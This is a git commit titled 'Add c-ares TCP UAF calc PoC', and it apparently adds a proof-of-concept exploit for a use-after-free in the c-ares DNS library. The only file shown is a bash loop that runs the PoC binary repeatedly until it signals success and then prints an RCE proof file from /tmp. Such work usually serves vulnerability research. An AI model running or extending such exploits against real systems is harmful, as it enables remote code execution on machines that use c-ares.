Add c-ares TCP UAF calc PoC

This commit is contained in:
ashton
2026-06-24 02:37:01 -05:00
parent 1956b7a8c5
commit 54b5a881ea
8 changed files with 817 additions and 1 deletions

View File

@@ -0,0 +1,20 @@
#!/usr/bin/env bash
set -euo pipefail
bin=${1:-./cares_tcp_uaf_calc_poc}
tries=${TRIES:-25}
rm -f /tmp/cares_rce_proof_*
for i in $(seq 1 "$tries"); do
set +e
"$bin" controlcall
rc=$?
set -e
echo "run=$i rc=$rc"
if [ "$rc" -eq 77 ]; then
break
fi
done
cat /tmp/cares_rce_proof_latest 2>/dev/null || true